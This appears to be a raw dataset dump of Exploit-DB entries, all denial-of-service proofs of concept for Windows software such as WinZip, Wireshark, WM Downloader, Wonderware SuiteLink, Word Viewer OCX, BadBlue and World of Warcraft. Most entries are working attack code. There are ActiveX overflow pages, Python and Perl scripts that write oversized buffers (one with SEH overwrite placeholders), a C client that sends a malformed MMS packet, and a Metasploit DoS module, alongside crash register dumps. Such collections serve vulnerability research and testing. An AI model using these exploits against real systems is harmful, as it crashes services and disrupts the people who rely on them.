deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2783
Description: WinZip 10.0.7245 - FileView ActiveX Control Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2006-11-14
Author: prdelka

Exploit:
<!--
WinZip FileView ActiveX Control Unsafe Method Exposure Vulnerability
-- prdelka
-->

<HTML>
<HEAD>
<TITLE></TITLE>
</HEAD>
<BODY>
    <SCRIPT LANGUAGE="VBScript">
<!--
Sub WZFILEVIEW_OnAfterItemAdd(Item)
WZFILEVIEW.FilePattern = 

"STACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBAS

EDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLO

WSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBAS

EDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLO

WSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBAS

EDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLO

WSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBAS

EDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLO

WSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBAS

EDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLO

WSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOW"
end sub
-->
    </SCRIPT>
    <OBJECT ID="WZFILEVIEW" WIDTH=200 HEIGHT=200
     CLASSID="CLSID:A09AE68F-B14D-43ED-B713-BA413F034904">
    </OBJECT>
</BODY>
</HTML>

# milw0rm.com [2006-11-14]
Exploit-DB #29447
Description: WinZip 9.0 - Command Line Remote Buffer Overflow
Type: dos
Platform: windows
Date: 2007-01-12
Author: Umesh Wanve

Exploit:
source: https://www.securityfocus.com/bid/22020/info

WinZip is prone to a remote buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied input before copying it into an insufficiently sized buffer.

An attacker may exploit this issue to cause denial-of-service conditions and possibly to execute arbitrary code within the context of the affected application, but this has not been confirmed.

This issue affects versions prior to 9.0 SR1. 

Winzip32.exe "A" x 5002
Exploit-DB #33384
Description: Wireshark 1.10.7 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2014-05-16
Author: Osanda Malith Jayathissa

Exploit:
#!/usr/bin/python
# Exploit Title: Wireshark Read Access Violation near NULL starting at libcairo_2!cairo_image_surface_get_data()
# Date: May 15th 2014
# Author: Osanda Malith Jayathissa
# E-Mail: osandajayathissa<[at]>gmail.com
# Version: 1.10.7 32-bit and 64-bit
# Vendor Homepage: http://www.wireshark.org
# Tested on: Windows 8 64-bit
'''
The issue is with the cairo_image_surface_get_data() function in Cairo.
These fields are vulnerable:
- Filter text box
- Statistics -> IP DESTINATIONS
- Statistics -> IP Addresses
Paste the generated text in any one of above fields and hit return.
'''

payload = "A" * 50000
file = open('exploit.txt', "w")
file.write(payload)
file.close()

'''
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Wireshark32\libcairo-2.dll - 
eax=00000000 ebx=052dabf0 ecx=77bc2ad2 edx=612fc6e0 esi=00000000 edi=612fc6e0
eip=61291737 esp=008cdca0 ebp=00000000 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
libcairo_2!cairo_image_surface_get_data+0x7:
6[PII_REDACTED]609d2f61    cmp     dword ptr [eax],offset libcairo_2!cairo_tee_surface_index+0xd080 (612f9d60) ds:002b:00000000=????????
'''
Exploit-DB #35873
Description: Wireshark 1.4.5 - 'bytes_repr_len()' Null Pointer Dereference Denial of Service
Type: dos
Platform: windows
Date: 2011-06-17
Author: rouli

Exploit:
source: https://www.securityfocus.com/bid/48389/info

Wireshark is prone to a remote denial-of-service vulnerability caused by a NULL-pointer-dereference error.

An attacker can exploit this issue to crash the application, resulting in a denial-of-service condition.

Wireshark 1.4.5 is vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35873.pcap
Exploit-DB #20784
Description: Wireshark 1.6.0/1.8.2 - Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2012-08-24
Author: X-h4ck

Exploit:
/*

WireShark Buffer Overflow 0day 
author: X-h4ck,mem001@live.com,www.pirate.al
greetz to people that i love and my girlfriend , and yes imm
proud to be albanian.only the poc, no exploit available so i
wont confuse the script kiddies, eax,ecx,edx,ebx overwritten
s-kiddies u can easy get access over eip if u want to.
Tested on : Windows 7 ultimate
How to use: Capture>Options>Manage Interfaces>Remote Interfaces>Add===>
Host Input : 659 As
Port Input : 652 As, now lets stop with As and add 8 Bs for funn yeep?
Then Click "OK". In this way we can trigger the vulnerability.
ive tested this dummy attack in 1.8.2 & 1.6.0 , probabbly  all version 
may be fucked, huh ? if they possess the remote inteface function.

*/


#include <cstdio>
#include <iostream>
// wrote a little shit code to generate > nicely for u those strings
using namespace std;
int main(){

  char buff1[] = "\x41";
  char buff2[] = "\x42";
  FILE *txtfile;
  txtfile = fopen("c:\\exploit.txt", "w");
  fputs("Host Input:\n",txtfile);
  for(int i=0; i < 659; i++){
    fputs(buff1,txtfile);
    }
  fputs("\n",txtfile); 
  fputs("Port Input:\n",txtfile); 
  for (int y=0; y < 652; y++) {
    fputs(buff1,txtfile);
    }
  for(int x=0; x < 8; x++) {
    fputs(buff2,txtfile);
    }
  fclose(txtfile);
  return 0;
}
Exploit-DB #36128
Description: Wireshark 1.6.1 - Malformed Packet Trace File Remote Denial of Service
Type: dos
Platform: windows
Date: 2011-09-08
Author: Wireshark

Exploit:
source: https://www.securityfocus.com/bid/49521/info

Wireshark is prone to a remote denial-of-service vulnerability because it fails to properly handle certain files.

Successful exploits may allow attackers to crash the affected application, denying service to legitimate users.

Wireshark 1.4.0 to 1.4.8 and 1.6.0 to 1.6.1 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36128.pcap
Exploit-DB #4288
Description: Wireshark < 0.99.6 - Mms Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-08-14
Author: ZwelL

Exploit:
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32")

char *http =
       "POST / HTTP/1.0\r\n"
       "Content-Type: application/vnd.wap.mms-message\r\n";

char *hoststr = "Host: %s:%d\r\n";
char *contentlenstr = "Content-Length: %d\r\n\r\n";

unsigned char mms[] =
{
       0x8c,0x80,//X-Mms-Message-Type: m-send-req(0x80)
       0x98,0x7a,0x77,0x65,0x6c,0x6c,0x00,//X-Mms-Transaction-ID: zwell
       0x8d,0x92,//X-Mms-MMS-Version: 1.2
       0x97,0x31,0x33,0x35,0x31,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x00,//To:[PII_REDACTED]0
       0x84,0xa3,//Content-Type: application/vnd.wap.multipart.mixed
       //////////////////////////////////////////////////
       0x01,//multipart,count
       0x0f,//HeadersLen
       0x05,//DataLen
       0x00,//headlen <<<=== If this is 0x00, then wireshark will be crash. The real value is the follow three lines bytes which is 0x0e
       ///
       0x83,0x85,//Utf-8
       0x7a,0x77,0x65,0x6c,0x6c,0x2e,0x74,0x78,0x74,0x00,//Name: zwell.txt
       0x81,0xea,//Charset: utf-8
       ///
       0x7a,0x77,0x65,0x6c,0x6c,//zwell
};

SOCKET connect_to_host(char *h, int p)
{
       SOCKET sock;
       struct hostent *host;
       struct sockaddr_in saddr;

       if((host=gethostbyname(h))==NULL)
       {
               printf("resolv host %s error\n", h);
               exit(-1);
       }

       if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
       {
               printf("create socket error\n");
               exit(-1);
       }
       memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
       saddr.sin_family=AF_INET;
       saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
       saddr.sin_port=htons(p);
       if(connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))<0)
       {
               printf("connect to host %s on port %d error\n", h, p);
               exit(-1);
       }

       return sock;
}


void socket_init()
{
       WSADATA wsaData;
       WSAStartup(MAKEWORD(2,0), &wsaData);
}


int main(int argc, char **argv)
{
       SOCKET s;
       char sendbuf[1024];
       int len = 0;

       printf("WireShark<0.99.6 MMS protocol DOS PoC\nCoded By ZwelL\nhttp://www.nosec.org\n");
       if(argc != 3)
       {
               printf("usage : %s <host> <port>\n", argv[0]);
               exit(-1);
       }
       socket_init();
       s = connect_to_host(argv[1], atoi(argv[2]));

       strcpy(&sendbuf[len], http);
       len += strlen(http);

       sprintf(&sendbuf[len], hoststr, argv[1], atoi(argv[2]));
       len = strlen(sendbuf);

       sprintf(&sendbuf[len], contentlenstr, sizeof(mms));
       len = strlen(sendbuf);

       memcpy(&sendbuf[len], mms, sizeof(mms));
       len += sizeof(mms);

       send(s, sendbuf, len, 0);

       printf("completed!\n");

       return 0;
}

// milw0rm.com [2007-08-14]
Exploit-DB #8403
Description: WM Downloader - '.m3u' Local Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-04-13
Author: Cyber-Zone

Exploit:
#!/usr/bin/perl
#
#
# *************************************************************
# *    WM Downloader (.M3U File) Local Stack Overflow POC     *
# *************************************************************
#
# Found By : Cyber-Zone (ABDELKHALEK)
# E-mail   : Paradis_des_fous@hotmail.fr
# Home     : WwW.IQ-TY.CoM ; WwW.No-Exploit.CoM
# Greetz   : Hussin X , Jiko (my brother), ZoRLu , Nabilx , Mag!c ompo , Stack ... all mgharba HaCkers and Sec-r1z.com
#
# Download product : http://www.rm-to-mp3.net/downloads/WMDownloader.exe
#
#
# Olly registers
#EAX 00000001
#ECX 41414141
#EDX 00D00000
#EBX 00333D78 ASCII "C:\Documents and Settings\Administrateur\Bureau\KHAL.m3u"
#ESP 000F739C
#EBP 000FBFB4
#ESI 77C2FCE0 msvcrt.77C2FCE0
#EDI 00006619
#EIP 41414141
#
my $Header = "#EXTM3U\n";

my $ex="http://"."A" x 26121;

open(MYFILE,'>>KHAL.m3u');

print MYFILE $Header.$ex;

close(MYFILE);

# milw0rm.com [2009-04-13]
Exploit-DB #11374
Description: WM Downloader 3.0.0.9 - PLS WMDownloader (PoC)
Type: dos
Platform: windows
Date: 2010-02-09
Author: JIKO

Exploit:
#!/usr/bin/perl
#
# JIKO =>JAWAD
#
# Thanx To All Friends : Cyber-Zone , Stack , ZoRLu , Hussin X , Mag!c ompo ,Sad Hacker ,Strock ... All MoroCCaN HaCkerS
#
# No-Exploit.com

# EAX 00000000
# ECX 41414141
# EDX 000008C3
# EBX 000FBBD4 ASCII "F:\perso\test\tool\jiko.pls"
# ESP 000F7298
# EBP 000FBFB4
# ESI 77C2FCE0 msvcrt.77C2FCE0
# EDI 000065FD
# EIP 41414141
# *.Pla || .PLS

my $ex="A" x 26109;

open(MYFILE,'>>jiko.pls');
print MYFILE $ex;
close(MYFILE);
Exploit-DB #44333
Description: WM Recorder 16.8.1 - Denial of Service
Type: dos
Platform: windows
Date: 2018-03-23
Author: bzyo

Exploit:
#!/usr/bin/python

#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: WM Recorder 16.8.1 - Denial of Service
# Date: 03-20-2018
# Vulnerable Software: WM Recorder 16.8.1
# Vendor Homepage: http://wmrecorder.com/home/
# Version: 16.8.1
# Software Link: http://wmrecorder.com/download/wm-recorder/
# Tested On: Windows 7 x86/x64, Windows 10 x64
#
#
# PoC: generate crash.txt, open app, go to Schedule Recordings, Open Scheduler, paste crash.txt contents in Stream URL, File name and Website URL,
# change End Recording date to future date, turn scheduler on, select OK
#
# app crashes & EIP overwrite;
# !mona seh > no ppr pointers & !mona seh -all > all aslr/safeseh
# lots of bad chars including \x90
#

filename="crash.txt"

junk = "\x41"*429

nseh = "\x42"*4

seh = "\x43"*4

fill = "\x44"*9562

buffer = junk + nseh + seh + fill
  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Exploit-DB #47563
Description: WMV to AVI MPEG DVD WMV Convertor 4.6.1217 - Denial of Service
Type: dos
Platform: windows
Date: 2019-10-30
Author: Nithoshitha S

Exploit:
# Exploit Title: WMV to AVI MPEG DVD WMV Convertor 4.6.1217 - Denial of Service
# Date: 2019-10-30
# Vendor Homepage:https://www.alloksoft.com/
# Software Link:  https://www.alloksoft.com/wmv.htm
# Exploit Author: Nithoshitha S
# Tested Version: v4.6.1217
# Tested on: Windows 7 x64
#            Windows XP SP3

# 1.- Run python code :poc.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open  WMV to AVI MPEG DVD WMV Convertor and Click 'EnterKey'
# 4.- Paste the content of EVIL.txt into the Field: 'License Name and License Code'
# 5.- Click 'OK' and you will see a crash.

# poc.py

#!/usr/bin/env python
buffer = "\x41" * 6000

try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
Exploit-DB #6474
Description: WonderWare SuiteLink 2.0 - Remote Denial of Service (Metasploit)
Type: dos
Platform: windows
Date: 2008-09-17
Author: belay tows

Exploit:
##
# $Id: suitlink.rb $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Auxiliary::Dos::Windows::Wonderware::SuitLink < Msf::Auxiliary

	include Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Wonderware SuitLink Denial of Service',
			'Description'    => %q{
				This module exploits a denial of service vulnerability
				within the SuitLink service in Wonderware products.
			},
			'Author'         => [ 'belay tows' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 1 $',
			'References'     =>
				[
					[ 'BID', '28974' ],
					[ 'CVE', '2008-2005' ],
				],
			'DisclosureDate' => 'May 05 2008'))
			
			register_options([Opt::RPORT(5413),], self.class)
	end

	def run
		connect

		print_status("Sending DoS packet...")

        dos_length = 0xBAADF00D

		pkt =  "\xD5\xCF\xC7\xF8\x0B\xCD\xD3\x11\xAA\x10\x00\xA0\xC9\xEC\xFD\x9F"
		pkt << Rex::Text.rand_text_alpha(0x14) + "\x00\x00"
        pkt << [dos_length].pack("V")
	
        len = [pkt.length].pack("C")
		sock.put(len)
		
		sock.put(pkt)

        sleep 15 # wait to avoid thread shutdown event
		
		disconnect
	end

end
end	

# milw0rm.com [2008-09-17]
Exploit-DB #3836
Description: Word Viewer OCX 3.2 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-05-03
Author: shinnai

Exploit:
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/03</b></p></span>
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 <b>WordViewer.ocx v. 3.2.0.5 multiple methods Denial of Service</b>
 url: http://www.officeocx.com/
 price: from â‚¬63.95 (update to last version) to â‚¬1,585.95 (Royalty)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to these exploits.
 Theese methods are vulnerable too:
 
 <b>DoOleCommand</b>
 <b>FTPDownloadFile</b>
 <b>FTPUploadFile</b>
 <b>HttpUploadFile</b>
 <b>GotoPage</b>
 <b>Save</b>
 <b>SaveWebFile</b>
-----------------------------------------------------------------------------

<object classid='clsid:97AF4A45-49BE-4485-9F55-91AB40F22BF2' id='WordOCX' width="405" height="50"></object>

<select style="width: 404px" name="Pucca">
  <option value = "HttpDownloadFile">HttpDownloadFile</option>
  <option value = "Open">Open</option>
  <option value = "OpenWebFile">OpenWebFile</option>
  <option value = "SaveAs">SaveAs</option>
  <option value = "ShowWordStandardDialog">ShowWordStandardDialog</option>
  <option value = "Quoting">Quoting...</option>
</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   Dim MyMsg
   if Pucca.value = "HttpDownloadFile" then
     argCount = 2
     arg1=String(2097512,"A")
     arg2="defaultV"
     WordOCX.HttpDownloadFile arg1, arg2
   elseif Pucca.value = "SaveAs" then
     argCount = 2
     arg1=String(2097512,"A")
     arg2=1
     WordOCX.SaveAs arg1, arg2
   elseif Pucca.value = "Open" then
     argCount = 1
     arg1=String(2097512, "A")
     WordOCX.Open arg1
   elseif Pucca.value = "ShowWordStandardDialog" then
     argCount = 1
     arg1=32767
     WordOCX.ShowWordStandardDialog arg1
   elseif Pucca.value = "OpenWebFile" then
     argCount = 1
     arg1=String(2097512, "A")
     WordOCX.OpenWebFile arg1
   else
     MyMsg= MsgBox ("God is dead," & vbCrLf & _
     "Marx is dead," & vbCrLf &_
     "Freud is dead..." & vbCrLf & _
     "And I'm not feeling too well, myself", 64, "2007/05/03 - WordViewer v. 3.2")
   end if
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-03]
Exploit-DB #20641
Description: Working Resources BadBlue 1.2.7 - Denial of Service
Type: dos
Platform: windows
Date: 2001-02-20
Author: SNS Research

Exploit:
source: https://www.securityfocus.com/bid/2392/info

It is possible for a remote user to cause a denial of service condition in Working Resources BadBlue.

Requesting a specially crafted URL composed of 284 or more bytes, will cause the server to crash.

A restart of the server is required in order to gain normal functionality. 

http://target/ext.dll?aaaaa(x 248 bytes)
Exploit-DB #21600
Description: Working Resources BadBlue 1.7.3 - GET Denial of Service
Type: dos
Platform: windows
Date: 2002-07-08
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/5187/info

Working Resources BadBlue is reportedly prone to a denial of service condition when handling malformed GET requests.

It has been discovered that BadBlue does not properly handle requests that do not adhere to RFC standards. When a user connects to BadBlue via the listening port, and issues a "GET HTTP/1.0" request without specifying a document, BadBlue becomes unstable. In most cases, the process will crash. 

GET HTTP/1.0

GET HTTP/1.0
Exploit-DB #17781
Description: World Of Warcraft - 'chat-cache.txt' Local Stack Overflow Denial of Service
Type: dos
Platform: windows
Date: 2011-09-05
Author: BSOD Digital

Exploit:
#!/usr/bin/perl
#
#Exploit Title:
#World Of Warcraft Local Stack Overflow Dos Exploit (chat-cache.txt)
#
#Date: 04/09/2011
#
#Author: BSOD Digital (Fabien DROMAS)
#
#Other details:"Code Exec" Exploit in analysis.
#
#Tests:
#OS: Windows 7
#Versions: burning crusade,cataclism, Demo Version.
#
#Path:
#world of warcraft > WTF > account > file (numbers) > server_file > account_name_file > chat-cache.txt
#
#Error:
#This application has encountered a critical error:
#
#ERROR #132 (0x85100084) Fatal exception!
#
#Program:	D:\World of Warcraft\Wow.exe
#ProcessID:	92024
#Exception:	0xC00000FD (STACK_OVERFLOW) at 0023:0109DA97
#
#Registers:
#----------------------------------------
#    x86 Registers
#----------------------------------------
#
#EAX=000F2000  EBX=1BD920D8  ECX=000CC22C  EDX=00000000  ESI=0012366F
#EDI=00000000  EBP=001EFC5C  ESP=001EF8A4  EIP=0109DA97  FLG=00010206
#CS =0023      DS =002B      ES =002B      SS =002B      FS =0053      GS =002B


my $file = "chat-cache.txt";
my $dos_junk = "A" x 2000000;
open($File, ">$file");
print $File $dos_junk;
close($File);
Exploit-DB #34129
Description: World Of Warcraft 3.3.5a - 'macros-cache.txt' Stack Overflow
Type: dos
Platform: windows
Date: 2014-07-21
Author: Alireza Chegini

Exploit:
# Exploit Title: World Of Warcraft 3.3.5a Stack Overflow (macros-cache.txt)
# Date: 21 Jul 2014
# Exploit Author: Alireza Chegini (@nimaarek)
# Vendor Homepage: http://us.battle.net/wow/
# Version: 3.3.5a
# Tested on: Win7

Output:

--WoWError [CrashDUmp] :
World of WarCraft (build 12340)

Exe:      D:\Wow\Wow.exe
Time:     Jul 21, 2014  6:10:08.243 PM
User:     nimaarek
Computer: NIMAAREK-L
------------------------------------------------------------------------------

This application has encountered a critical error:

ERROR #132 (0x85100084) Fatal Exception
Program:	D:\Wow\Wow.exe
Exception:	0xC00000FD (STACK_OVERFLOW) at 0023:0040BB77

--Windbg result:
0:020> g
ModLoad: 6c670000 6c6a0000   C:\Windows\SysWOW64\wdmaud.drv
ModLoad: 6d3a0000 6d3a4000   C:\Windows\SysWOW64\ksuser.dll
ModLoad: 6c660000 6c667000   C:\Windows\SysWOW64\AVRT.dll
ModLoad: 6c610000 6c618000   C:\Windows\SysWOW64\msacm32.drv
ModLoad: 6c600000 6c607000   C:\Windows\SysWOW64\midimap.dll
ModLoad: 71e50000 71e66000   C:\Windows\SysWOW64\CRYPTSP.dll
ModLoad: 71e10000 71e4b000   C:\Windows\SysWOW64\rsaenh.dll
(3a8.470): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for Wow.exe - 
eax=02af2000 ebx=050c1f6e ecx=00000000 edx=00000000 esi=17b28f50 edi=00000000
eip=0040bb77 esp=032eed00 ebp=032ef92c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
Wow+0xbb77:
0040bb77 8500            test    dword ptr [eax],eax  ds:002b:02af2000=00000000
==============================================================================
Poc :
%systemroot%\Wow\WTF\Account\[AccountName]\macros-cache.txt

MACRO 1 "Decursive" INV_Misc_QuestionMark
/stopcasting
/cast [target=mouseover,nomod,exists] Dispel Magic;  [target=mouseover,exists,mod:ctrl] Abolish Disease; [target=mouseover,exists,mod:shift] Dispel Magic
END
MACRO 2 "PoC" INV_Misc_QuestionMark
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA x n+1 :-)
END
==============================================================================
Greetz to My Friend : promoh3nv , AmirHosein Nemati , b3hz4d And Head Administrator of ST-Team [RadoN]